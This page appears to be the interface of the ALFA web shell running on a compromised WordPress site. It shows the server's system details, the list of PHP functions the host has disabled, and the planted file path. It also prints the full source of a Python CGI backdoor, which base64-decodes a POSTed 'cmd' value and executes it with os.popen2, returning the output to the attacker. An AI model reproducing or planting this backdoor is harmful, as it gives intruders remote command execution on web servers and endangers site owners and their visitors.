HEX
Server: Apache/2
System: Linux server1 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
User: prospack (1044)
PHP: 8.0.30
Disabled: eval, exec, apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, openlog, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec,syslog, system, xmlrpc_entity_decode,show_source,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
$ pwd: /home/prospack/domains/prospack.com/public_html/wp-content/ALFA_DATA/alfacgiapi/
Upload Files
File: /home/prospack/domains/prospack.com/public_html/wp-content/ALFA_DATA/alfacgiapi/py.alfa
#!/usr/bin/python
try:
	import cgitb; cgitb.enable()
except:
	pass
import os,cgi,base64
form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
cmd = form.getvalue('cmd')
check = form.getvalue('check')
print "Content-type:text/html\r\n\r\n"
if cmd:
	print base64.b64decode(check)+"<pre>"
	child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
	child_stdin.close()
	result = child_stdout.read()
	child_stdout.close()
	print result.strip()
	print "</pre>"
@ Telegram